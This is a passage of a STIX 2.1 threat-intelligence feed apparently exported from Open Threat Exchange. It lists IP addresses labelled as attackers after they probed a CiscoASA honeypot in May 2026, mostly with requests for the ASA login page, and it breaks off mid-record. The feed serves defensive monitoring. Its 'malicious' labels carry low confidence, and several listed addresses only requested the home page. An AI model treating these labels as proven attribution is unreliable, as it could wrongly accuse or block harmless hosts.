        "indicator--1b958a6d-0f0b-461b-a982-c8648f159e69",
        "indicator--8c3c3249-b229-49ff-82b4-017e1147d075",
        "indicator--a13cf1eb-953f-4c21-953a-0e03cc2ec637",
        "indicator--2a3f1849-4da4-410b-bed9-bd8ca58f16ce",
        "indicator--ccbad48f-46ed-40a6-b4cb-c93a7f8e7654",
        "indicator--14e2d207-67a5-4cc9-83bf-a4ed86714b8f",
        "indicator--f912e2ca-6a4a-4899-b6e7-515407d3b1e3",
        "indicator--e5a0492f-d0a6-4bd4-b74a-9dfe1e29aa70",
        "indicator--4002a3c4-f72b-4c81-851a-9f0ed3c2deca",
        "indicator--c519d0eb-a890-4cf5-b67b-e49da261b24d",
        "indicator--1d41356a-847c-4662-a036-eee52019cce7",
        "indicator--5df299f7-6524-4901-be46-63ae0cb782e7",
        "indicator--33d3f492-ccfe-4115-840d-a996447195c4",
        "indicator--1beefb18-950a-40a0-9189-7617308e9d39",
        "indicator--a4fb2f36-ca1c-43ee-a7bf-82f3c9525e40",
        "indicator--a16aa45e-f34f-406e-9e4a-79b88350e2b1",
        "indicator--0b4639c3-2e79-4024-8af0-a3a0aceba351",
        "indicator--d8fb91b9-e726-48f4-be7a-1ae278f2eb3e",
        "indicator--0b32ccd6-8ea1-4fde-915f-f05ca14a896f",
        "indicator--4b4df99c-a7e9-423d-9303-d6d6508ab8f9",
        "indicator--ae7b6c97-52fd-4a35-bf22-cab17cae4e17",
        "indicator--10ac013a-4122-4e36-a857-ff1e783fb136",
        "indicator--cd814f18-24e0-4bdd-9dc1-da593d6d7cd3",
        "indicator--be1e379e-b82a-46a3-9cf6-4d6b8d5b84a5",
        "indicator--65610a77-5a37-4863-bfc4-abf4899f193b",
        "indicator--6240aa17-320b-4a5c-a578-5b484863e609",
        "indicator--d1453794-f61e-4568-a997-bc4e22531ea7",
        "indicator--98b67b87-2240-408e-a01a-6fe10707fd28",
        "indicator--2e5fe4da-7ecd-401c-b9bd-4edc0114170b",
        "indicator--f4cf9791-75cd-4456-9242-856231833dd1",
        "indicator--597db652-389f-4bb6-b3e3-840ec64da67c",
        "indicator--45f57f43-3caa-46e4-8a56-4ee1970de5c2",
        "indicator--e035a1bf-60fb-4e15-9ecd-ce1a51ffdc6e",
        "indicator--874eb95a-7d71-4e4d-949e-bcf37a56a3ea",
        "indicator--eadbe957-c18c-47b3-918c-075af84b6478",
        "indicator--5f89a22a-2c38-4f91-85aa-8e71fd96c5f8",
        "indicator--31ed79cb-1cf5-4906-b874-02b3662a301a",
        "indicator--6632a2ce-2c2e-4f9e-aa52-74577598dc4a",
        "indicator--a5cc7826-0910-48d9-82fa-eddfd79930da",
        "indicator--3db9630d-53dc-40c0-87b5-e4f67dd45344",
        "indicator--a7bc0575-a38a-4c1d-bc61-2667f7c0cbbc",
        "indicator--622dd7f5-291b-4b5f-8999-720a31588d89",
        "indicator--0d4c1dbe-4c42-4958-818e-1eea765def55",
        "indicator--55b51e36-f9d4-4c23-8c71-d4bdcb63fa2c",
        "indicator--b05684fa-2f6f-477f-890f-6c01c173b809",
        "indicator--c597cbc1-51b3-40fd-92e5-f905562a8fe4",
        "indicator--6f43d426-f5cb-46ac-b0a6-55061b60318d",
        "indicator--63e1361d-2cea-4e1e-86d4-b17154ff5129",
        "indicator--5c64bf50-363e-4d59-b4aa-6ee2000fe907",
        "indicator--e9fb273c-8e1f-42c9-9020-5f7b55906458",
        "indicator--e87dd82b-b2bc-4e4c-92a4-c2e065bee849",
        "indicator--b28ea780-0268-4002-817b-0f30afa89f9f",
        "indicator--e67f72de-ddde-44ee-a4df-13deaecd43f8",
        "indicator--2529120b-b22a-4e7e-bb4e-d303041dc2fc",
        "indicator--b7caec15-086a-4999-ac9f-8755d3705a6c",
        "indicator--26031a56-47f6-482a-be5b-bf47baaddd27",
        "indicator--c22a53f4-5dee-4053-9efc-2686c53ad0f8",
        "indicator--5be30926-6db2-423b-9713-131edd377a25",
        "indicator--648e0d7e-79e1-479e-bf15-aeefb0c7e3c5",
        "indicator--28c10239-f056-484c-b708-2d99f8d915da",
        "indicator--b9a9fe21-5847-4d43-9e03-8cb28471f422",
        "indicator--93047559-912d-48f3-a492-e03b4ac95135",
        "indicator--d458ce21-33e5-46e6-98e4-26fff2017705",
        "indicator--f0ffea1b-15ac-4152-9c93-2f9d4ce011e0",
        "indicator--21a8c518-790e-4ab2-b03f-3a76f6815175",
        "indicator--6178cfb2-b20e-4522-9ed1-b4073c64a5d9",
        "indicator--fe9204b1-871f-474a-baa1-367956e883ff",
        "indicator--c97fd15f-db52-47ba-a0ee-9057806eb53b",
        "indicator--a5d3e2cc-6acd-4a08-b69a-7baf38db575f",
        "indicator--19dedea9-2926-450b-8524-ebee8f608ef2",
        "indicator--e03ef5dd-59e7-4e79-bed2-df16bb5c630a",
        "indicator--52e9ba0f-07d8-481a-bf0a-2d6ab877a18b",
        "indicator--3bcf2f72-99a9-4413-b8af-2fb4bdc0295c",
        "indicator--eb2b9e01-bda1-4db0-aca2-ced84d9f2875",
        "indicator--38d41a8d-0b6e-4247-a032-48f41b5ac686",
        "indicator--a1342b13-576b-4996-8115-c7bdd3f17e34",
        "indicator--b1e5f6eb-3912-4dd7-95fd-68d82bf35492",
        "indicator--733c0700-0d7e-4503-8af3-e5f6db29394d",
        "indicator--f5133955-d377-40dc-8753-322c28da7e39",
        "indicator--01c6cbec-844a-4e42-84b1-22d0792777ed",
        "indicator--de3f42a1-41b5-4215-85c3-0fb63defaaf8",
        "indicator--f90eeaea-3730-4543-8458-ca25570626be",
        "indicator--57d0ebec-41d7-46e4-892a-2ca256cd5e8e",
        "indicator--dda744b1-6626-4e59-8063-85a0ce654081",
        "indicator--35d16f6e-7ebf-4143-a94d-23f8f3591c19",
        "indicator--4c2f7931-cf6b-42e2-9405-7d623a99acdc",
        "indicator--c70adfbc-01dc-4406-9a18-e6672dda4477",
        "indicator--9612eb6b-73d7-4523-9a97-315797f5b86c",
        "indicator--06da46b6-f43e-498a-a1b1-4b44494eff71",
        "indicator--c04c0a5f-2b4d-44b9-8c30-6e46840a0ce2",
        "indicator--7837552e-0b7d-4de7-8566-37d11858654f",
        "indicator--e1efbced-fd9a-4582-87ef-f2f5555ddbf3",
        "indicator--ad56809d-313e-4663-9b3c-bd2c2bc18c4d",
        "indicator--764d3482-429f-4837-a817-e8ff9a4eb5cb",
        "indicator--7ff36f3d-d60a-4810-9bc0-2d2ab86a47ab",
        "indicator--7a672e8f-e376-45bc-85be-bc1cf2ee96f4",
        "indicator--0bf25f97-6f2e-4e31-b126-e149d6241096",
        "indicator--1d50cbdf-07e6-4b65-90d3-a16c1ee92fd9",
        "indicator--82402725-efc2-4a42-a64e-49c4484411b7",
        "indicator--22980b49-0cb9-4846-8d5a-50d39ad7c376",
        "indicator--accd73bc-4076-4b70-9a62-8848b0b49ede",
        "indicator--bbeb52ec-b214-4c7c-bbc0-bcf84a571216",
        "indicator--522b514d-f6a9-4a78-82e7-70cffb3843b5",
        "indicator--9d1926ca-97b9-49c2-ab64-321036fe210c",
        "indicator--45a5368f-9e62-44e9-8e7a-b8835e727052",
        "indicator--423aa17b-a84d-4ab7-957f-94497519d052",
        "indicator--540834ea-3f4b-46fc-8cd6-3197e371dbc2",
        "indicator--442dd409-efc4-4b8c-9282-3818724209a2",
        "indicator--3225f0fd-c416-424f-875f-146d8c62b6d7",
        "indicator--540da6c0-fd7f-43b2-a673-e3489710e96e",
        "indicator--9b90dd78-9ae9-4fcc-ac9b-de0be45bfb20",
        "indicator--4c6c20ab-aca8-4402-9bcd-d223d1b6d92e",
        "indicator--75712e54-1842-438f-b27c-c11e57c25e30",
        "indicator--57da558c-b04f-4e05-ad00-afc7ca1f3c58",
        "indicator--0fc3a96d-7808-4938-9931-e9f28ccf72d4",
        "indicator--468cfff3-96a9-4d0b-a684-093f51fe3d95",
        "indicator--cc171edf-58d8-4bd8-9205-10893ea5c9cb",
        "indicator--aef7fd97-329d-4121-b19c-800baa52c39f",
        "indicator--d94e0895-62bc-4f9d-9033-2242129a2cac",
        "indicator--bfe56b80-6151-4df6-bde1-0e2017a5d07c",
        "indicator--5a2a6fec-53d9-42e0-91f4-917a7173670c",
        "indicator--190b1acd-d05e-41d3-b8be-e117ac5555ba",
        "indicator--d65d843d-31d0-4216-9d59-81ee57451ae8",
        "indicator--b5752aa6-ef3d-464d-ab9c-696f18e59f29",
        "indicator--a76712ef-f0b0-4fe9-80f5-1e6c713d2c1a",
        "indicator--aa309542-d5fd-4234-a41d-c92414b835e2",
        "indicator--c6bad925-359d-4ab3-bb13-a9dcebc9493d",
        "indicator--1e1d2609-091c-4256-a60b-d10fedac0c94",
        "indicator--7a934708-9f4e-427e-bec5-555f129288ee",
        "indicator--24398b19-e290-41ff-8f68-4485d3c254c9",
        "indicator--d08f8cbf-b757-4bfe-b812-1d5ae0289f18",
        "indicator--8ad04d9c-7070-4a64-a1e6-c0ed4eac50bf",
        "indicator--9c427674-4ee6-420c-b11c-21fc869a787a",
        "indicator--d1b0e5f6-5d49-42c1-b6dc-60b25452af28",
        "indicator--c671112b-9d37-4c18-950d-cf936738cce7",
        "indicator--ffe269a7-b1a9-4c79-af22-7d56f3a905d3",
        "indicator--4d67e99a-37cd-410b-bbb9-95570d1aeb8a",
        "indicator--57520bf9-ffe4-475a-92ab-8b6bdad3ade5",
        "indicator--242e738a-7541-4ddd-a466-3a55831953fe",
        "indicator--27c2c4da-9bc5-44b3-ac40-47c80b58bcd1",
        "indicator--f86c206f-cd18-405e-9397-6a7c06c8a715",
        "indicator--b1935a38-69b9-4bcf-80fb-911c558f539d",
        "indicator--3efda83f-a28e-4fe0-be4d-31006087a795",
        "indicator--09e9acef-b49e-4c2c-a066-af13ee166039"
      ],
      "published": "2026-05-01T02:20:10.718Z",
      "spec_version": "2.1",
      "type": "report"
    },
    {
      "contact_information": "https://otx.alienvault.com/",
      "created": "2026-05-01T02:20:10.718Z",
      "id": "identity--ab072f15-9b87-4ee1-898f-b584d41f29b0",
      "identity_class": "organization",
      "modified": "2026-05-01T02:20:10.718Z",
      "name": "Open Threat Exchange",
      "spec_version": "2.1",
      "type": "identity"
    },
    {
      "created": "2026-05-01T02:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 203020 (HostRoyale Technologies Pvt Ltd)",
      "id": "indicator--c87c2cdd-6d69-4770-8d3a-3376c3def3d1",
      "labels": [
        "unknown",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '103.102.246.227']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T02:20:11.000Z",
      "valid_until": "2026-06-02T02:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 0
        }
      }
    },
    {
      "created": "2026-05-01T02:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 9009 (M247 Europe SRL)",
      "id": "indicator--7faab735-6de7-493c-86f5-0d040bb1411d",
      "labels": [
        "unknown",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '146.70.168.240']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T02:20:11.000Z",
      "valid_until": "2026-06-02T02:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 0
        }
      }
    },
    {
      "created": "2026-05-01T02:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 212238 (Datacamp Limited)",
      "id": "indicator--ae73d329-82c7-4daa-95a8-708d9c613709",
      "labels": [
        "unknown",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '149.40.50.104']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T02:20:11.000Z",
      "valid_until": "2026-06-02T02:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 0
        }
      }
    },
    {
      "created": "2026-05-01T02:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 207990 (HostRoyale Technologies Pvt Ltd)",
      "id": "indicator--4ff43009-70bd-4290-b212-a25998e1dbe4",
      "labels": [
        "unknown",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '185.141.119.165']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T02:20:11.000Z",
      "valid_until": "2026-06-02T02:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 0
        }
      }
    },
    {
      "created": "2026-05-01T02:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 396982 (Google LLC)",
      "id": "indicator--358b12ed-08c9-4463-8fdd-151ad2bee7ee",
      "labels": [
        "unknown",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '198.235.24.194']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T02:20:11.000Z",
      "valid_until": "2026-06-02T02:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 0
        }
      }
    },
    {
      "created": "2026-05-01T02:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 17243 (Byte Node LLC)",
      "id": "indicator--b05d0bde-7b49-49b7-80ac-b4247fecd10a",
      "labels": [
        "unknown",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.159.216.100']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T02:20:11.000Z",
      "valid_until": "2026-06-02T02:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 0
        }
      }
    },
    {
      "created": "2026-05-01T02:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--17f13784-4c35-4a3a-a8ca-c2f5fa34b942",
      "labels": [
        "unknown",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.69.174']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T02:20:11.000Z",
      "valid_until": "2026-06-02T02:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 0
        }
      }
    },
    {
      "created": "2026-05-01T02:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--b7753b19-b490-4dce-b262-32372e91348a",
      "labels": [
        "unknown",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.74.71']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T02:20:11.000Z",
      "valid_until": "2026-06-02T02:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 0
        }
      }
    },
    {
      "created": "2026-05-01T02:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--17a59d16-5e52-4108-9527-10347a179698",
      "labels": [
        "unknown",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.76.174']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T02:20:11.000Z",
      "valid_until": "2026-06-02T02:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 0
        }
      }
    },
    {
      "created": "2026-05-01T02:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--4b4de9f0-c62f-438a-9ddd-117cb0dafa8b",
      "labels": [
        "unknown",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '68.235.46.168']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T02:20:11.000Z",
      "valid_until": "2026-06-02T02:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 0
        }
      }
    },
    {
      "created": "2026-05-01T03:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 9009 (M247 Europe SRL)",
      "id": "indicator--4da35233-61bb-4bf0-a690-f15345e866c5",
      "labels": [
        "unknown",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '146.70.187.19']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T03:20:10.000Z",
      "valid_until": "2026-06-02T03:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 0
        }
      }
    },
    {
      "created": "2026-05-01T03:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 212238 (Datacamp Limited)",
      "id": "indicator--55e2e432-72ba-4854-9fb1-33245082575b",
      "labels": [
        "unknown",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '149.40.50.116']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T03:20:10.000Z",
      "valid_until": "2026-06-02T03:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 0
        }
      }
    },
    {
      "created": "2026-05-01T03:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: SC; ASN 49870 (Alsycon B.V.)",
      "id": "indicator--581ec440-6f99-4ae4-a7ee-b5957bf0716e",
      "labels": [
        "unknown",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '160.119.76.64']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T03:20:10.000Z",
      "valid_until": "2026-06-02T03:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 0
        }
      }
    },
    {
      "created": "2026-05-01T03:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 212238 (Datacamp Limited)",
      "id": "indicator--8750c0c3-077f-41a6-9b08-946b701e7ed4",
      "labels": [
        "unknown",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '37.19.221.153']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T03:20:10.000Z",
      "valid_until": "2026-06-02T03:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 0
        }
      }
    },
    {
      "created": "2026-05-01T03:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /api/v2/static/not.found HTTP/1.1\" 404 - geo: US; ASN 6939 (Hurricane Electric LLC)",
      "id": "indicator--b7fa5d27-9bb2-443b-8a85-1777b2dd8e9e",
      "labels": [
        "unknown",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '65.49.1.80']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T03:20:10.000Z",
      "valid_until": "2026-06-02T03:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 0
        }
      }
    },
    {
      "created": "2026-05-01T03:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 6939 (Hurricane Electric LLC)",
      "id": "indicator--a7a04ed8-9187-4fb9-a5ac-f77e27d4bff3",
      "labels": [
        "unknown",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '65.49.1.84']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T03:20:10.000Z",
      "valid_until": "2026-06-02T03:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 0
        }
      }
    },
    {
      "created": "2026-05-01T03:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /favicon.ico HTTP/1.1\" 404 - geo: US; ASN 6939 (Hurricane Electric LLC)",
      "id": "indicator--909c01bd-feb4-4ae6-874a-75075b3e6aa3",
      "labels": [
        "unknown",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '65.49.1.85']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T03:20:10.000Z",
      "valid_until": "2026-06-02T03:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 0
        }
      }
    },
    {
      "created": "2026-05-01T03:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /lang/custom/sbin/init HTTP/1.1\" 404 - geo: US; ASN 6939 (Hurricane Electric LLC)",
      "id": "indicator--80509897-54d4-4766-83b7-bef003b52f76",
      "labels": [
        "unknown",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '65.49.1.87']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T03:20:10.000Z",
      "valid_until": "2026-06-02T03:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 0
        }
      }
    },
    {
      "created": "2026-05-01T03:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /lang//custom/sbin/init HTTP/1.1\" 404 - geo: US; ASN 6939 (Hurricane Electric LLC)",
      "id": "indicator--fd2cb880-6654-4dc5-938c-159ec458574a",
      "labels": [
        "unknown",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '65.49.1.89']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T03:20:10.000Z",
      "valid_until": "2026-06-02T03:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 0
        }
      }
    },
    {
      "created": "2026-05-01T03:20:10.000Z",
